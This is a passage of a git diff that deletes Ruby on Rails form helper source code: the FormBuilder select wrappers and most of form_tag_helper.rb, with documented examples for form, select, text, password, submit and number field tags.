-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def select(method, choices, options = {}, html_options = {})
-        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
-        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
-      #
-      #   <%= form_for @city do |f| %>
-      #     <%= f.grouped_collection_select :country_id, :country_id, @continents, :countries, :name, :id, :name %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
-      #
-      #   <%= form_for @user do |f| %>
-      #     <%= f.time_zone_select :time_zone, nil, include_blank: true %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
-        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
-      end
-
-      # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
-        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
deleted file mode 100644
index c10566a..0000000
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ /dev/null
@@ -1,785 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/module/attribute_accessors'
-
-module ActionView
-  # = Action View Form Tag Helpers
-  module Helpers
-    # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
-    # FormHelper does. Instead, you provide the names and values manually.
-    #
-    # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
-    # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
-    module FormTagHelper
-      extend ActiveSupport::Concern
-
-      include UrlHelper
-      include TextHelper
-
-      mattr_accessor :embed_authenticity_token_in_remote_forms
-      self.embed_authenticity_token_in_remote_forms = false
-
-      # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
-      # ActionController::Base#url_for. The method for the form defaults to POST.
-      #
-      # ==== Options
-      # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
-      # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
-      #   If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
-      #   is added to simulate the verb over post.
-      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
-      #   pass custom authenticity token string, or to not add authenticity_token field at all
-      #   (by passing <tt>false</tt>).  Remote forms may omit the embedded authenticity token
-      #   by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
-      #   This is helpful when you're fragment-caching the form. Remote forms get the
-      #   authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
-      #   support browsers without JavaScript.
-      # * A list of parameters to feed to the URL the form will be posted to.
-      # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
-      #   submit behavior. By default this behavior is an ajax submit.
-      #
-      # ==== Examples
-      #   form_tag('/posts')
-      #   # => <form action="/posts" method="post">
-      #
-      #   form_tag('/posts/1', method: :put)
-      #   # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
-      #
-      #   form_tag('/upload', multipart: true)
-      #   # => <form action="/upload" method="post" enctype="multipart/form-data">
-      #
-      #   <%= form_tag('/posts') do -%>
-      #     <div><%= submit_tag 'Save' %></div>
-      #   <% end -%>
-      #   # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
-      #
-      #   <%= form_tag('/posts', remote: true) %>
-      #   # => <form action="/posts" method="post" data-remote="true">
-      #
-      #   form_tag('http://far.away.com/form', authenticity_token: false)
-      #   # form without authenticity token
-      #
-      #   form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
-      #   # form with custom authenticity token
-      #
-      def form_tag(url_for_options = {}, options = {}, &block)
-        html_options = html_options_for_form(url_for_options, options)
-        if block_given?
-          form_tag_in_block(html_options, &block)
-        else
-          form_tag_html(html_options)
-        end
-      end
-
-      # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
-      # choice selection box.
-      #
-      # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
-      # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
-      #
-      # ==== Options
-      # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:include_blank</tt> - If set to true, an empty option will be created.
-      # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   select_tag "people", options_from_collection_for_select(@people, "id", "name")
-      #   # <select id="people" name="people"><option value="1">David</option></select>
-      #
-      #   select_tag "people", "<option>David</option>".html_safe
-      #   # => <select id="people" name="people"><option>David</option></select>
-      #
-      #   select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe
-      #   # => <select id="count" name="count"><option>1</option><option>2</option>
-      #   #    <option>3</option><option>4</option></select>
-      #
-      #   select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true
-      #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
-      #   #    <option>Green</option><option>Blue</option></select>
-      #
-      #   select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
-      #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
-      #   #    <option>Out</option></select>
-      #
-      #   select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input'
-      #   # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
-      #   #    <option>Write</option></select>
-      #
-      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
-      #   # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
-      #
-      #   select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
-      #   # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
-      #
-      #   select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true
-      #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
-      #   #    <option>Paris</option><option>Rome</option></select>
-      #
-      #   select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
-      #   # => <select id="credit_card" name="credit_card"><option>VISA</option>
-      #   #    <option selected="selected">MasterCard</option></select>
-      def select_tag(name, option_tags = nil, options = {})
-        option_tags ||= ""
-        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
-
-        if options.delete(:include_blank)
-          option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
-        end
-
-        if prompt = options.delete(:prompt)
-          option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
-        end
-
-        content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
-      end
-
-      # Creates a standard text field; use these text fields to input smaller chunks of text like a username
-      # or a search query.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
-      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
-      # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   text_field_tag 'name'
-      #   # => <input id="name" name="name" type="text" />
-      #
-      #   text_field_tag 'query', 'Enter your search query here'
-      #   # => <input id="query" name="query" type="text" value="Enter your search query here" />
-      #
-      #   text_field_tag 'search', nil, placeholder: 'Enter search term...'
-      #   # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
-      #
-      #   text_field_tag 'request', nil, class: 'special_input'
-      #   # => <input class="special_input" id="request" name="request" type="text" />
-      #
-      #   text_field_tag 'address', '', size: 75
-      #   # => <input id="address" name="address" size="75" type="text" value="" />
-      #
-      #   text_field_tag 'zip', nil, maxlength: 5
-      #   # => <input id="zip" maxlength="5" name="zip" type="text" />
-      #
-      #   text_field_tag 'payment_amount', '$0.00', disabled: true
-      #   # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
-      #
-      #   text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
-      #   # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
-      def text_field_tag(name, value = nil, options = {})
-        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
-      end
-
-      # Creates a label element. Accepts a block.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   label_tag 'name'
-      #   # => <label for="name">Name</label>
-      #
-      #   label_tag 'name', 'Your name'
-      #   # => <label for="name">Your name</label>
-      #
-      #   label_tag 'name', nil, class: 'small_label'
-      #   # => <label for="name" class="small_label">Name</label>
-      def label_tag(name = nil, content_or_options = nil, options = nil, &block)
-        if block_given? && content_or_options.is_a?(Hash)
-          options = content_or_options = content_or_options.stringify_keys
-        else
-          options ||= {}
-          options = options.stringify_keys
-        end
-        options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
-        content_tag :label, content_or_options || name.to_s.humanize, options, &block
-      end
-
-      # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
-      # data that should be hidden from the user.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   hidden_field_tag 'tags_list'
-      #   # => <input id="tags_list" name="tags_list" type="hidden" />
-      #
-      #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-      #
-      #   hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
-      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
-      #   #    type="hidden" value="" />
-      def hidden_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
-      end
-
-      # Creates a file upload field. If you are using file uploads then you will also need
-      # to set the multipart option for the form tag:
-      #
-      #   <%= form_tag '/upload', multipart: true do %>
-      #     <label for="file">File to Upload</label> <%= file_field_tag "file" %>
-      #     <%= submit_tag %>
-      #   <% end %>
-      #
-      # The specified URL will then be passed a File object containing the selected file, or if the field
-      # was left blank, a StringIO object.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
-      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
-      #
-      # ==== Examples
-      #   file_field_tag 'attachment'
-      #   # => <input id="attachment" name="attachment" type="file" />
-      #
-      #   file_field_tag 'avatar', class: 'profile_input'
-      #   # => <input class="profile_input" id="avatar" name="avatar" type="file" />
-      #
-      #   file_field_tag 'picture', disabled: true
-      #   # => <input disabled="disabled" id="picture" name="picture" type="file" />
-      #
-      #   file_field_tag 'resume', value: '~/resume.doc'
-      #   # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
-      #
-      #   file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
-      #   # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
-      #
-      #   file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
-      #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
-      def file_field_tag(name, options = {})
-        text_field_tag(name, nil, options.update("type" => "file"))
-      end
-
-      # Creates a password field, a masked text field that will hide the users input behind a mask character.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
-      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   password_field_tag 'pass'
-      #   # => <input id="pass" name="pass" type="password" />
-      #
-      #   password_field_tag 'secret', 'Your secret here'
-      #   # => <input id="secret" name="secret" type="password" value="Your secret here" />
-      #
-      #   password_field_tag 'masked', nil, class: 'masked_input_field'
-      #   # => <input class="masked_input_field" id="masked" name="masked" type="password" />
-      #
-      #   password_field_tag 'token', '', size: 15
-      #   # => <input id="token" name="token" size="15" type="password" value="" />
-      #
-      #   password_field_tag 'key', nil, maxlength: 16
-      #   # => <input id="key" maxlength="16" name="key" type="password" />
-      #
-      #   password_field_tag 'confirm_pass', nil, disabled: true
-      #   # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
-      #
-      #   password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
-      #   # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
-      def password_field_tag(name = "password", value = nil, options = {})
-        text_field_tag(name, value, options.update("type" => "password"))
-      end
-
-      # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-      #
-      # ==== Options
-      # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
-      # * <tt>:rows</tt> - Specify the number of rows in the textarea
-      # * <tt>:cols</tt> - Specify the number of columns in the textarea
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
-      #   If you need unescaped contents, set this to false.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   text_area_tag 'post'
-      #   # => <textarea id="post" name="post"></textarea>
-      #
-      #   text_area_tag 'bio', @user.bio
-      #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
-      #
-      #   text_area_tag 'body', nil, rows: 10, cols: 25
-      #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
-      #
-      #   text_area_tag 'body', nil, size: "25x10"
-      #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
-      #
-      #   text_area_tag 'description', "Description goes here.", disabled: true
-      #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
-      #
-      #   text_area_tag 'comment', nil, class: 'comment_input'
-      #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
-      def text_area_tag(name, content = nil, options = {})
-        options = options.stringify_keys
-
-        if size = options.delete("size")
-          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
-        end
-
-        escape = options.delete("escape") { true }
-        content = ERB::Util.html_escape(content) if escape
-
-        content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
-      end
-
-      # Creates a check box form input tag.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   check_box_tag 'accept'
-      #   # => <input id="accept" name="accept" type="checkbox" value="1" />
-      #
-      #   check_box_tag 'rock', 'rock music'
-      #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
-      #
-      #   check_box_tag 'receive_email', 'yes', true
-      #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
-      #
-      #   check_box_tag 'tos', 'yes', false, class: 'accept_tos'
-      #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
-      #
-      #   check_box_tag 'eula', 'accepted', false, disabled: true
-      #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
-      def check_box_tag(name, value = "1", checked = false, options = {})
-        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
-        html_options["checked"] = "checked" if checked
-        tag :input, html_options
-      end
-
-      # Creates a radio button; use groups of radio buttons named the same to allow users to
-      # select from a group of options.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   radio_button_tag 'gender', 'male'
-      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
-      #
-      #   radio_button_tag 'receive_updates', 'no', true
-      #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
-      #
-      #   radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
-      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
-      #
-      #   radio_button_tag 'color', "green", true, class: "color_input"
-      #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
-      def radio_button_tag(name, value, checked = false, options = {})
-        html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
-        html_options["checked"] = "checked" if checked
-        tag :input, html_options
-      end
-
-      # Creates a submit button with the text <tt>value</tt> as the caption.
-      #
-      # ==== Options
-      # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
-      #   drivers will provide a prompt with the question specified. If the user accepts,
-      #   the form is processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
-      #   disabled version of the submit button when the form is submitted. This feature is
-      #   provided by the unobtrusive JavaScript driver.
-      #
-      # ==== Examples
-      #   submit_tag
-      #   # => <input name="commit" type="submit" value="Save changes" />
-      #
-      #   submit_tag "Edit this article"
-      #   # => <input name="commit" type="submit" value="Edit this article" />
-      #
-      #   submit_tag "Save edits", disabled: true
-      #   # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
-      #
-      #   submit_tag "Complete sale", data: { disable_with: "Please wait..." }
-      #   # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
-      #
-      #   submit_tag nil, class: "form_submit"
-      #   # => <input class="form_submit" name="commit" type="submit" />
-      #
-      #   submit_tag "Edit", class: "edit_button"
-      #   # => <input class="edit_button" name="commit" type="submit" value="Edit" />
-      #
-      #   submit_tag "Save", data: { confirm: "Are you sure?" }
-      #   # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
-      #
-      def submit_tag(value = "Save changes", options = {})
-        options = options.stringify_keys
-
-        if disable_with = options.delete("disable_with")
-          message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
-                    "Use 'data: { disable_with: \'Text\' }' instead."
-          ActiveSupport::Deprecation.warn message
-
-          options["data-disable-with"] = disable_with
-        end
-
-        if confirm = options.delete("confirm")
-          message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
-                    "Use 'data: { confirm: \'Text\' }' instead'."
-          ActiveSupport::Deprecation.warn message
-
-          options["data-confirm"] = confirm
-        end
-
-        tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
-      end
-
-      # Creates a button element that defines a <tt>submit</tt> button,
-      # <tt>reset</tt>button or a generic button which can be used in
-      # JavaScript, for example. You can use the button tag as a regular
-      # submit tag but it isn't supported in legacy browsers. However,
-      # the button tag allows richer labels such as images and emphasis,
-      # so this helper will also accept a block.
-      #
-      # ==== Options
-      # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>:disabled</tt> - If true, the user will not be able to
-      #   use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - If present, the
-      #   unobtrusive JavaScript drivers will provide a prompt with
-      #   the question specified. If the user accepts, the form is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be
-      #   used as the value for a disabled version of the submit
-      #   button when the form is submitted. This feature is provided
-      #   by the unobtrusive JavaScript driver.
-      #
-      # ==== Examples
-      #   button_tag
-      #   # => <button name="button" type="submit">Button</button>
-      #
-      #   button_tag(type: 'button') do
-      #     content_tag(:strong, 'Ask me!')
-      #   end
-      #   # => <button name="button" type="button">
-      #   #     <strong>Ask me!</strong>
-      #   #    </button>
-      #
-      #   button_tag "Checkout", data: { disable_with => "Please wait..." }
-      #   # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
-      #
-      def button_tag(content_or_options = nil, options = nil, &block)
-        options = content_or_options if block_given? && content_or_options.is_a?(Hash)
-        options ||= {}
-        options = options.stringify_keys
-
-        if disable_with = options.delete("disable_with")
-          message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
-                    "Use 'data: { disable_with: \'Text\' }' instead."
-          ActiveSupport::Deprecation.warn message
-
-          options["data-disable-with"] = disable_with
-        end
-
-        if confirm = options.delete("confirm")
-          message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
-                    "Use 'data: { confirm: \'Text\' }' instead'."
-          ActiveSupport::Deprecation.warn message
-
-          options["data-confirm"] = confirm
-        end
-
-        options.reverse_merge! 'name' => 'button', 'type' => 'submit'
-
-        content_tag :button, content_or_options || 'Button', options, &block
-      end
-
-      # Displays an image which when clicked will submit the form.
-      #
-      # <tt>source</tt> is passed to AssetTagHelper#path_to_image
-      #
-      # ==== Options
-      # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - This will add a JavaScript confirm
-      #   prompt with the question specified. If the user accepts, the form is
-      #   processed normally, otherwise no action is taken.
-      #
-      # ==== Examples
-      #   image_submit_tag("login.png")
-      #   # => <input alt="Login" src="/images/login.png" type="image" />
-      #
-      #   image_submit_tag("purchase.png", disabled: true)
-      #   # => <input alt="Purchase" disabled="disabled" src="/images/purchase.png" type="image" />
-      #
-      #   image_submit_tag("search.png", class: 'search_button', alt: 'Find')
-      #   # => <input alt="Find" class="search_button" src="/images/search.png" type="image" />
-      #
-      #   image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
-      #   # => <input alt="Agree" class="agree_disagree_button" disabled="disabled" src="/images/agree.png" type="image" />
-      #
-      #   image_submit_tag("save.png", data: { confirm: "Are you sure?" })
-      #   # => <input alt="Save" src="/images/save.png" data-confirm="Are you sure?" type="image" />
-      def image_submit_tag(source, options = {})
-        options = options.stringify_keys
-
-        if confirm = options.delete("confirm")
-          message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
-                    "Use 'data: { confirm: \'Text\' }' instead'."
-          ActiveSupport::Deprecation.warn message
-
-          options["data-confirm"] = confirm
-        end
-
-        tag :input, { "alt" => image_alt(source), "type" => "image", "src" => path_to_image(source) }.update(options)
-      end
-
-      # Creates a field set for grouping HTML form elements.
-      #
-      # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
-      # <tt>options</tt> accept the same values as tag.
-      #
-      # ==== Examples
-      #   <%= field_set_tag do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-      #
-      #   <%= field_set_tag 'Your details' do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
-      #
-      #   <%= field_set_tag nil, class: 'format' do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
-      def field_set_tag(legend = nil, options = nil, &block)
-        output = tag(:fieldset, options, true)
-        output.safe_concat(content_tag(:legend, legend)) unless legend.blank?
-        output.concat(capture(&block)) if block_given?
-        output.safe_concat("</fieldset>")
-      end
-
-      # Creates a text field of type "color".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def color_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
-      end
-
-      # Creates a text field of type "search".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def search_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
-      end
-
-      # Creates a text field of type "tel".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def telephone_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
-      end
-      alias phone_field_tag telephone_field_tag
-
-      # Creates a text field of type "date".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def date_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
-      end
-
-      # Creates a text field of type "time".
-      #
-      # === Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      def time_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "time"))
-      end
-
-      # Creates a text field of type "datetime".
-      #
-      # === Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      def datetime_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime"))
-      end
-
-      # Creates a text field of type "datetime-local".
-      #
-      # === Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      def datetime_local_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "datetime-local"))
-      end
-
-      # Creates a text field of type "month".
-      #
-      # === Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      def month_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
-      end
-
-      # Creates a text field of type "week".
-      #
-      # === Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      def week_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
-      end
-
-      # Creates a text field of type "url".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def url_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
-      end
-
-      # Creates a text field of type "email".
-      #
-      # ==== Options
-      # * Accepts the same options as text_field_tag.
-      def email_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
-      end
-
-      # Creates a number field.
-      #
-      # ==== Options
-      # * <tt>:min</tt> - The minimum acceptable value.
-      # * <tt>:max</tt> - The maximum acceptable value.
-      # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
-      #   <tt>:max</tt> values.
-      # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
-      #
-      # ==== Examples
-      #   number_field_tag 'quantity', nil, in: 1...10
-      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
-      def number_field_tag(name, value = nil, options = {})
-        options = options.stringify_keys
-        options["type"] ||= "number"
-        if range = options.delete("in") || options.delete("within")
-          options.update("min" => range.min, "max" => range.max)
-        end
-        text_field_tag(name, value, options)
-      end
-
